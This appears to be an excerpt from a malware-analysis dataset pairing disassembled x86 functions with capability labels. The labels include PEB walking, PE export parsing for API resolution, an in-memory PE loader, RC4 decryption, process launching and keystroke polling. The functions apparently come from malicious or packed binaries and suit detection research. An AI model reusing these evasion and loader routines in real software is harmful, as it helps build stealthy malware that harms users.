joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1027de7e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.1027f382
xor ecx, ecx
mov edx, eax
mov esi, dword [0x1029ce44]
mov edi, esi
add edi, 0xffffe7e0
mov dword [0x1029ce40], edi
mov edi, dword [eax + 0x3c]
mov dword [0x1029ce44], 0x1178
add esi, 0xffffdddf
mov dword [0x1029ce40], esi
mov dword [0x1029ce44], 0x83d
mov esi, dword [eax + edi + 0x78]
mov dword [0x1029ce40], 0x2076
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x1027e005
jmp 0x1027df2a
xor eax, eax
mov ecx, dword [ebp - 0x28]
add ecx, 2
mov edx, dword [ebp - 0x2c]
add edx, 1
mov esi, dword [ebp - 0x18]
cmp edx, esi
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x24], eax
jb 0x1027df46
jmp 0x1027e005
mov eax, dword [ebp - 0x20]
add eax, 0x24
mov dword [ebp - 0x38], eax
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x38]
add ecx, dword [ecx + edx]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov ecx, eax
mov edx, dword [ebp - 0x3c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x45], bh
mov byte [ebp - 0x46], cl
je 0x1027dfb2
mov al, byte [ebp - 0x45]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x44]
add edx, 1
mov ah, byte [ebp - 0x46]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x40], edx
jne 0x1027df60
mov al, byte [ebp - 0x46]
test al, 1
jne 0x1027dfbe
jmp 0x1027df01
mov eax, dword [ebp - 0x28]
mov cx, word [eax]
mov edx, dword [ebp - 0x20]
add edx, 0x1c
movzx esi, cx
mov dword [0x1029ce40], 0x2157
mov edi, dword [ebp - 0x1c]
add edi, edx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x50], edi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x50]
add eax, dword [ecx]
mov edx, dword [ebp - 0x4c]
mov eax, dword [eax + edx*4]
mov dword [0x1029ce44], 0xd6c
mov esi, dword [ebp - 0x1c]
add esi, eax
mov dword [ebp - 0x24], esi
mov eax, dword [ebp - 0x24]
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1027e010
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x30
mov dword [ebp - 8], 0
mov dword [0x1029ce40], 0x1b77
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
mov dword [0x1029ce44], 0x68b
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx + 0x10]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], ecx
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x3c]
mov dword [0x1029ce40], 0x1049
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], eax
jmp 0x1027e07f
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2], 0x6f
je 0x1027e0cd
jmp 0x1027e16c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], edx
je 0x1027e0ac
mov eax, dword [ebp - 0x24]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x28], eax
jl 0x1027e07f
mov eax, dword [ebp - 0x28]
mov dword [0x1029ce40], 0x162a
mov ecx, dword [ebp - 0x14]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x1c], eax
je 0x1027e061
jmp 0x1027e16c
mov dword [0x1029ce44], 0xcc3
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x1027e16c
mov dword [0x1029ce40], 0x15d5
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff6
shl eax, 1
mov ecx, dword [ebp - 0x14]
add ecx, eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
cmp word [eax], 0x64
jne 0x1027e16c
mov dword [0x1029ce40], 0x3b73
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1027e16c
mov dword [0x1029ce40], 0x1718
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x1027e16c
mov eax, 0x2d23
mov ecx, 1
mov dword [0x1029ce44], 0xfd3
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x1c]
cmp word [edx + esi*2 - 0xe], 0x6c
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
je 0x1027e17b
mov eax, 0x24e8
xor ecx, ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
jmp 0x1027e17b
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov dword [0x1029ce40], ecx
add esp, 0x30
pop esi
pop ebp
ret
Function at 0x1027e734
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x1029ce4c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov ecx, 0x1769
mov byte [0x1029ce50], 0
mov dword [0x1029ce40], 0x1769
mov dword [0x1029ce48], 0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
jmp 0x1027e7b5
xor eax, eax
mov ecx, dword [ebp - 0x24]
add ecx, 0xffffe7c2
mov dword [0x1029ce40], ecx
mov dword [0x1029ce48], 0
mov dword [ebp - 0x28], eax
jmp 0x1027e80d
mov dword [0x1029ce40], 0x27cb
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
add eax, 0xffffe280
mov dword [0x1029ce40], eax
mov eax, ecx
mov dl, al
mov eax, dword [ebp - 0x18]
mov byte [eax + ecx], dl
mov ecx, dword [0x1029ce40]
mov esi, ecx
add esi, 0xfffff237
mov dword [0x1029ce44], esi
mov esi, dword [0x1029ce48]
add esi, 1
mov dword [0x1029ce48], esi
cmp esi, 0x100
mov edi, ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
jl 0x1027e7b5
jmp 0x1027e783
mov eax, dword [ebp - 0x28]
mov ecx, 0x100
mov dword [0x1029ce54], 0
mov dword [0x1029ce44], 0x2161
mov edx, dword [0x1029ce4c]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x2c], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x1029ce54], edi
mov eax, edi
cdq
idiv ecx
mov dword [0x1029ce4c], edx
mov dword [0x1029ce40], 0x2438
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x2c]
mov cl, byte [ecx + edi]
mov byte [0x1029ce50], cl
mov dword [0x1029ce40], 0x1cf5
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov cl, byte [0x1029ce50]
mov edx, dword [0x1029ce4c]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov dword [0x1029ce40], 0x1799
mov edx, dword [0x1029ce48]
add edx, 1
mov dword [0x1029ce48], edx
cmp edx, 0x100
mov dword [ebp - 0x28], edx
jl 0x1027e80d
jmp 0x1027e7a3
Function at 0x1027f079
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x1029ce40], 0x13
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov cl, byte [eax + 0x1028168a]
mov dl, byte [eax + 0x1028165b]
sub dl, cl
mov byte [ebp + eax - 0x20], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x2c], eax
jne 0x1027f09a
lea eax, [ebp - 0x20]
mov dword [0x1029ce44], 0x1499
mov dword [0x1029ce40], 0x11f8
mov dword [ebp - 0x30], eax
call fcn.1027e666
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.1027e18d
xor ecx, ecx
mov dword [0x1029ce40], 0x23c5
cmp eax, 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
je 0x1027f1c8
mov eax, dword [ebp - 0x34]
mov dword [0x1029ce44], 0x185a
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x1029ce40]
add ecx, 0xfffff955
mov dword [0x1029ce40], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.1027ef25
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x18], ecx
mov dword [0x1029ce40], 0xfffff3db
mov dword [0x1029ce44], 0x9c
cmp ecx, 0
mov dword [ebp - 0x38], eax
je 0x1027f1c8
mov eax, dword [ebp - 0x3c]
add eax, 0x12e6
mov dword [0x1029ce44], 0x1744
mov dword [0x1029ce40], 0x1b4
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
add esp, 0x4c
pop ebp
ret
Function at 0x1027f501
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, dword [0x1029ce44]
mov dword [0x1029ce48], 0
mov dword [0x1029ce4c], 0
mov dword [0x1029ce58], 0
mov dword [0x1029ce40], 0xa9f
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
xor eax, eax
mov ecx, dword [ebp - 0x10]
cmp ecx, 0
mov edx, eax
mov esi, eax
mov edi, dword [ebp - 0x20]
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], edi
je 0x1027f697
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
mov esi, 0x100
mov dword [0x1029ce40], 0x1b0a
add ecx, 1
mov dword [ebp - 0x34], eax
mov eax, ecx
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x1029ce48], edx
mov ecx, dword [ebp - 0x1c]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x38]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x3c], edx
cdq
idiv esi
mov dword [0x1029ce4c], edx
mov esi, dword [ebp - 0x3c]
mov cl, byte [ecx + esi]
mov byte [0x1029ce50], cl
mov dword [0x1029ce40], 0x1ba7
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov cl, byte [0x1029ce50]
mov edx, dword [0x1029ce4c]
mov byte [edi + edx], cl
mov dword [0x1029ce40], 0x25da
mov edx, dword [0x1029ce48]
movzx edx, byte [edi + edx]
mov ebx, dword [0x1029ce4c]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x1029ce58], ebx
mov dword [0x1029ce40], 0x4df
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x34]
mov ch, byte [edx + ebx]
mov byte [0x1029ce5d], ch
mov byte [0x1029ce5e], cl
xor ch, cl
mov byte [0x1029ce5c], ch
mov dword [0x1029ce44], 0xd0
mov edx, dword [ebp - 0x18]
mov byte [edx + ebx], ch
mov edx, dword [0x1029ce44]
mov esi, edx
add esi, 0xffffe557
mov dword [0x1029ce40], esi
add ebx, 1
mov esi, dword [ebp - 0x10]
cmp ebx, esi
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x30], edx
je 0x1027f697
mov eax, dword [0x1029ce48]
mov ecx, dword [0x1029ce4c]
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x2c], edx
jmp 0x1027f577
mov eax, dword [ebp - 0x30]
add eax, 0xffffe56e
mov dword [0x1029ce40], eax
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1027f6ac
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [0x1029ce44]
add eax, 0x1601
mov dword [0x1029ce44], eax
call fcn.10001092
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x1027f74b
jmp 0x1027f847
lea eax, [esp + 0x28]
mov dword [0x1029ce44], 0x17ac
mov ecx, dword [esp + 0x90]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1027f079
mov ecx, esp
lea edx, [esp + 0x28]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov ecx, dword [0x1029ce40]
add ecx, 0x122d
mov dword [0x1029ce40], ecx
mov dword [esp + 0x20], eax
jmp 0x1027f83f
mov eax, dword [esp + 0x1c]
add eax, 0xfffff000
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x1027f7d6
lea eax, [esp + 0x88]
lea ecx, [esp + 0x28]
mov dword [0x1029ce40], 0x3bb
mov dword [esp], eax
mov dword [esp + 0x10], ecx
call fcn.1027ec3b
lea ecx, [0x1027e578]
mov edx, dword [esp + 0x88]
mov dword [esp + 0x38], edx
mov dword [esp + 0x5c], 0x13ee00
mov edx, dword [0x1029ce2c]
mov dword [esp + 0x34], edx
mov edx, dword [0x1029ce30]
mov dword [esp + 0x68], edx
mov edx, dword [0x1029ce34]
mov dword [esp + 0x2c], edx
mov edx, dword [0x1029ce38]
mov dword [esp + 0x78], edx
mov edx, dword [0x1029ce3c]
mov dword [esp + 0x84], edx
mov dword [0x1029ce44], 0xc9d
mov dword [0x1029ce40], 0xc7
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x1c], eax
jne 0x1027f72c
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 8], ecx
jne 0x1027f72c
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x74], eax
mov dword [0x1029ce44], 0x83d
mov ecx, dword [esp + 8]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x54], edx
mov dword [0x1029ce40], 0x5f1
call fcn.1027e010
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x20], ecx
je 0x1027f6de
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x414ff5
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov edi, dword [ebp + 8]
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0x41503c
cmp ebx, 0x20
je 0x41503c
cmp ebx, 0xffffffe0
je 0x41503c
jne 0x415045
add eax, 1
cmp esi, eax
je 0x415052
jne 0x415021
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0x415056
jne 0x41501d
pop edx
mov eax, dword [edx + 0x18]
leave
ret 4

Function at 0x41506a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov ebx, dword [ebp + 8]
cmp ebx, 0
je 0x4150af
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x4150b5
add eax, 4
pop esi
dec esi
push esi
jne 0x415097
xor eax, eax
leave
ret 8
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
leave
ret 8
Function at 0x436610
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4cd75b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004c1fe1
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x436692
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004bf894
mov eax, dword [eax]
push 0x4f4cd8
push eax
call fcn.004b1304
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004c226c
test bl, bl
je 0x436692
push 0x4f4cd8
lea ecx, [esp + 0xc]
call fcn.004c25fc
push 0x4f4ce4
lea ecx, [esp + 0xc]
call fcn.004c25fc
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4366ce
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004c226c
jmp 0x436799
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x436752
lea edx, [esp + 0x7c]
push 0x4f4ce0
push edx
call fcn.004b1304
add esp, 8
test eax, eax
je 0x436752
lea eax, [esp + 0x7c]
push 0x4f4cdc
push eax
call fcn.004b1304
add esp, 8
test eax, eax
je 0x436752
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4366e2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004c226c
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x436fa0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x437002
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x437010
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4cd7db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x505dd8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x437148
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x437076
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004c226c
xor eax, eax
jmp 0x4371bf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004c23a9
push esi
lea ecx, [esp + 0xc]
call fcn.004c2638
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x43719d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.00436fa0
test eax, eax
jne 0x43719d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.00436fa0
test eax, eax
jne 0x43719d
lea eax, [esp + 0x14]
push 0x4f4cf4
push eax
call fcn.004b2470
mov esi, eax
add esp, 8
test esi, esi
jne 0x43717c
lea ecx, [esp + 0x14]
push 0x4f4cf0
push ecx
call fcn.004b23f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x43717c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x43717f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004c2359
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x43708e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004c226c
xor eax, eax
jmp 0x4371bf
mov byte [esi], 0
push 0x4f4cec
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004c226c
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x44a670
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x44a6de
cmp si, 0x69
ja 0x44a6de
add esi, 0xffd0
cmp si, 0x11
je 0x44a6ae
push 0x11
call edi
test ax, ax
jge 0x44a6ae
or esi, 0x2000
cmp si, 0x10
je 0x44a6c3
push 0x10
call edi
test ax, ax
jge 0x44a6c3
or esi, 0x4000
cmp si, 0x12
je 0x44a6d8
push 0x12
call edi
test ax, ax
jge 0x44a6d8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x44a6eb
mov esi, 0xbd
jmp 0x44a69f
cmp si, 0x6e
jne 0x44a6f8
mov esi, 0xbe
jmp 0x44a69f
cmp si, 0x6f
jne 0x44a699
mov esi, 0xbf
jmp 0x44a69f

Function at 0x44c070
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5166b0]
xor edx, edx
cmp eax, edx
jne 0x44c096
xor eax, eax
mov byte [eax + 0x5165b0], al
inc eax
cmp eax, 0x100
jl 0x44c07e
mov dword [0x5166b0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5165b0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x44c127
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x44c0fa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x44c0c8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x44c130
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x44c183
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x44c16a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret